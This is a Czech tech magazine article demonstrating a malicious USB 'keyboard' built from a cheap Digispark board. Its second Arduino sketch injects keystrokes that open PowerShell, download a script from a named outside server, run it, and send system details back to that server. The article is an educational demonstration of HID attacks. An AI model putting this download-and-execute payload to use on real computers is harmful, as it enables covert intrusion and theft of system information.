Vyrobili jsme z mikropočítače za dolar záškodnickou klávesnici. Je to snadné

  • Představte si klávesnici, která po připojení spustí malware
  • Není to nic složitého, stačí mikročip za dolar
  • Bude posílat počítači trošku jiné stisky kláves

Na Živě.cz jsme už mnohokrát psali o nejrůznějších upravených klávesnicích, myších a fleškách. Zatímco v některých byl schovaný keylogger, který zaznamenával každý tisk klávesnice a vše později v dávkách posílal na záškodníkův web, zákeřná USB fleška po připojení k počítači zase vyslala do jeho obvodů natolik silný elektrický výboj, že to v lepším případě odnesla jen sběrnice a v tom horším celá základní deska.

Dnes do tohoto světa trošku nahlédneme, vyzkoušíme si totiž, jak by mohla fungovat záškodnická klávesnice, která po připojení k PC způsobí pěknou neplechu. Nebudete k tomu potřebovat ani doktorát z MIT, ani několikaměsíční studium hackerských manuálů, naše záškodnická klávesnice totiž nebude zneužívat žádných zranitelností ovladačů a operačního systému, ale bude jen dělat to, k čemu je určená.

Mikropočítač, který se vejde do klávesnice a může stáhnout třeba virus

Naše fiktivní klávesnice po připojení k USB vyšle do systému vlastní stisky kláves. Provede tedy něco, před čím vás nezachrání žádný antivirový program, protože bude provádět naprosto legitimní úkony. Pokud by taková klávesnice vyslala sérii stisků kláves, které systému řeknou, aby smazal všechna vaše data, tak se tak i stane, protože k tomu máte patřičná práva a operační systém samozřejmě nemůže tušit, že stisky nevytvářejí vaše vlastní prsty, ale drobný mikropočítač velikosti poštovní známky.

Klepněte pro větší obrázek
Drobná USB mašinka Digispark, jejíž klon dnes použijeme pro simulování stisků kláves

Toto všechno zvládnou nejrůznější modely Arduin a dalších mikropočítačů a vývojové prostředí Arduina na to pamatuje vlastními knihovnami, které se postarají o to, aby bylo posílání jednotlivých stisků kláves co nejjednodušší.

Destičky Arduina jsou však pro toto použití docela velké a do klávesnice by se snad vešly jen jeho nejmenší varianty. Vývojové prostředí Arduina naštěstí podporuje celou škálu mikrokontrolerů a jedním z nich je i maličký Digispark s jednoduchým osmibitovým čipem Attiny85.

Klepněte pro větší obrázek Klepněte pro větší obrázek
Mozkem Digisparku je drobný osmibitový čip ATtiny85 od Atmelu (dnes Microchipu). Má 8 kB paměti a několik málo pinů, pro naše účely je ale naprosto dostačující.

Digispark začínal jako projekt dolarového mikrokontroleru na Kickstarteru, cena toho oficiálního se dnes ale pohybuje až okolo osmi. Naštěstí jsou eBay a další e-shopy plné laciných klonů, takže z Číny a s bezplatným poštovným jej získáte opravdu od těch cirka 30 korun za kus.

Falešná klávesnice ovládá operační systém

Tak a teď konečně začne ta legrace. S Digisparkem můžete v prostředí Arduina použít vestavěnou knihovnu DigiKeyboard a její funkce pro vyslání stisků jak nejrůznějších systémových kláves a jejich kombinací, tak i souvislého textu. A kdyby to nestačilo, stačí nahlédnout na webu usb.org do oficiální dokumentace pro protokol HID, kde najdete kódy jednotlivých kláves (PDF, kapitola 10).

Klepněte pro větší obrázek
Po připojení Digisparku se v otevřeném Wordu napsalo vtipné hlášení. Stačí k tomu jednoduchý program na pár řádků.

Suma sumárum, droboučkou destičku snadno naprogramujete tak, aby vyslala do počítače kód libovolné standardní klávesy.

Jak by tedy mohl v prostředí Arduina vypadat kód programu, který po připojení Digisparku do USB pošle systému sekvenci znaku „Ahoj, já jsem zlý virus?“ S využitím zmíněné knihovny by byl naprosto primitivní:

// Pouzij knihovnu DigiKeyboard
#include "DigiKeyboard.h"

// Funkce setup se zpracuje po startu mikropocitace, tedy po pripojeni k USB
void setup() {
 //Posli do pocitace text, ktery se zobrazi, pokud bude mit fokus nejake textove pole. Treba Word. 
 DigiKeyboard.print("Ahoj, ja jsem zly virus!");
}

// Smycka loop je prazdna. Kdybych vlozil prikaz do ni, bude se text vypisovat stale dokola.
void loop() {}

Když byste tedy měli otevřený třeba Word a připojili Digispark, do textového pole se napíše ono hrozivé sdělení a drobným vtípkem vyděsíte třeba kolegu v práci (zvláště pokud příkaz k vypsání textu vložíte do smyčky loop, čili se bude opakovat stále dokola, než si oběť všimne, že má v USB připojené jakési neznámé zařízení).

Falešná klávesnice stáhne skript, spustí jej a odešle útočníkovi zajímavé informace o počítači

Pokud bychom chtěli naší virtuální klávesnici opravdu zneužít, nepsala by pochopitelně pozdravy, ale namísto toho by si otevřela třeba příkazovou řádku mocného PowerShellu a ovládla by celý počítač – zejména v případě, pokud by měl právě přihlášený uživatel administrátorská práva.

Anebo by falešná klávesnice odeslala na server hromadu informací o aktuálním systému. Případný útočník by se pak na základě popisu rozhodl, jestli je vaše mašina vhodný terč.

Pojďme si tedy ukázat druhý stručný kód, který už do hry zapojí i funkční klávesy:

#include "DigiKeyboard.h"

void setup() {
 // Posli kombinaci WIN+R k otevreni dialogu pro spusteni lib. programu a pockej 500 ms
 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(500);
 
 // Napis powershell a pockej 500 ms
 DigiKeyboard.print("powershell"); delay(500);

 // Stiskni ENTER pro potvrzeni a pockej 1 s
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(1000);

 // Predpokladam, ze uz je konzole PowerShellu spustena, a tak do ni poslu sekvenci znaku pro stazeni skriptu z internetu
 DigiKeyboard.print("wget \"https://kloboukuv.cloud/bobikospion.ps1\" -outfile \"app.ps1\"");

 // Stiskni ENTER a pockej 2 s, aby se skript stacil stahnout
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(2000);

 // Spust stazeny skript, stiskni ENTER a pockej 4 s, nez se zpracuje
 DigiKeyboard.print(".\\app.ps1"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(4000);

 // Zavri okno PowerShellu
 DigiKeyboard.print("exit"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

Program nejprve pošle Windows klávesovou zkratku WIN+R (KEY_R a MOD_GUI_LEFT, tedy levá systémová klávesa, ať už je to levý WIN v případě Windows, nebo alternativy u dalších operačních systémů).

Poté program počká 500 ms, aby operační systém stihl otevřít dialog pro spuštění programu, a následně do něj vyplní powershell a odešle stisk klávesy ENTER (KEY_ENTER).

Program počká další sekundu, než se otevře textové okno PowerShellu, načež do něj pošle příkaz ke stažení zákeřného skriptu ze serveru. Předpokládejme, že je počítač online a těch pár kilobajtů stáhne během okamžiku, čili počkáme dvě sekundy a stažený skript spustíme.

Skript získá hromadu zajímavých údajů o systému a následně je odešle na můj webový server. Dokonáno jest. Trošku jsem si to ale ulehčil a pro přehlednost dal PowerShellu dopředu právo spouštět cizí skripty (stažené z webu). Jelikož je však většina domácích uživatelů svých vlastních laptopů i velkých počítačů zpravidla lokálními administrátory, mohl bych si o toto právo požádat ze záškodnické klávesnice – heslo nepotřebuji, jen explicitní souhlas.

Klepněte pro větší obrázek
Skript pro PowerShell získá základní informace o systému včetně lokální IP adresy, diskových oddílech, verzi OS a uživateli, vše odešle na hypotetický server záškodníka – v tomto případě na ten můj. Celé to bude trvat několik sekund, během kterých může útočník balamutit majitele počítače, že se třeba instalují ovladače čerstvě připojené klávesnice.

A to je celé. Kdybych útočil na mašiny s Linuxem, mohl bych sekvenci příkazů upravit naopak takovým způsobem, aby se spustil třeba skript v Pythonu, který se pokusí zapojit počítač skrze hackerský Kali Linux a balík nástrojů Metasploit do botnetu, to už je ale zase téma na jiný článek.

Poselstvím toho dnešního byla demonstrace, jak principiálně mohou fungovat některá zákeřná USB HID zařízení, která pro svoji práci mohou využívat i nejrůznější státní bezpečnostní a zpravodajské agentury. Ostatně podle nedávno zveřejněných dokumentů Wikileaks podobné útoky používá i CIA.

Témata článku: Pojďme programovat elektroniku, Programování, Hacking, Arduino, Únik dat, Stavebnice, Programování pro děti, C++, Delay, Print, Usb klávesnice, Loop, Kali, Znaky klávesnice

24 komentářů

Nejnovější komentáře

  • El Vigo 16. 3. 2017 16:50:16
    jde na tom GTA ?
  • ooooooooooo 16. 3. 2017 14:21:50
    Powershell potrebuje k zajimavym akcim opravneni, takze ho musite spustit...
  • ce_hun 16. 3. 2017 10:33:09
    Bude aj navod pre android? Chcem dat priatelke do telefonu :-P
Určitě si přečtěte

Operační systém běžným počítačům nedal Bill Gates, ale Gary Kildall

Operační systém běžným počítačům nedal Bill Gates, ale Gary Kildall

** Gary Kildall pochopil, že levné výpočetní čipy mohou posloužit jako univerzální počítače pro všechny ** Připravil pro ně proto první operační systém ** Později mu systém vyfoukl Microsoft a nazval ho MS DOS

23.  4.  2017 | Pavel Tronner | 57

Umělá inteligence je sice v plenkách, už teď ale přestáváme rozumět, jak vlastně funguje. To je problém

Umělá inteligence je sice v plenkách, už teď ale přestáváme rozumět, jak vlastně funguje. To je problém

** Už je to tady, lidé přestávají chápat počítače ** Systémy neuronových sítí začínají pracovat tak, že ani jejich tvůrci přesně neví, co se uvnitř děje ** Do budoucna to může být závažný problém

24.  4.  2017 | Jakub Čížek | 112

Acer chrlí novinky: levný a tenký Predator, nové Switche a další notebooky

Acer chrlí novinky: levný a tenký Predator, nové Switche a další notebooky

** Acer na konferenci v New Yorku představil velkou spoustu novinek z oblasti počítačů, notebooků i monitorů ** Notebookové novinky se dotkly řad Predator, Swift, Switch i Aspire ** Herní notebooky dostaly nový typ chlazení

27.  4.  2017 | Karel Javůrek | 8

Jak by měly vypadat příští Windows? Designéři si pohráli s futuristickým prostředím Neon

Jak by měly vypadat příští Windows? Designéři si pohráli s futuristickým prostředím Neon

** Zkraje roku unikly na internet snímky nového prostředí Neon ** Součástí Windows by mohlo být už na podzim ** Komunita grafiků na webu nespala a začala si hrát

26.  4.  2017 | Jakub Čížek | 59

Jak funguje Apple Liam: Robot, který umí recyklovat staré iPhony

Jak funguje Apple Liam: Robot, který umí recyklovat staré iPhony

** Apple zveřejnil detaily, jak funguje robotický systém Liam pro recyklaci iPhonů ** Jeden Liam zvládne rozdělat i na ty nejmenší díly 1,2 milionů iPhonů ročně ** Liam je důležitým prvkem k tomu, aby Apple mohl vyrábět pouze ze stoprocentně recyklovaných materiálů

24.  4.  2017 | Karel Javůrek | 21


Aktuální číslo časopisu Computer

Supertéma: moderní cestování

Kdy opravdu přijdou nové baterie?

Velké testy: 6 herních notebooků a 8 volantů

Recenze: AMD Ryzen řady 5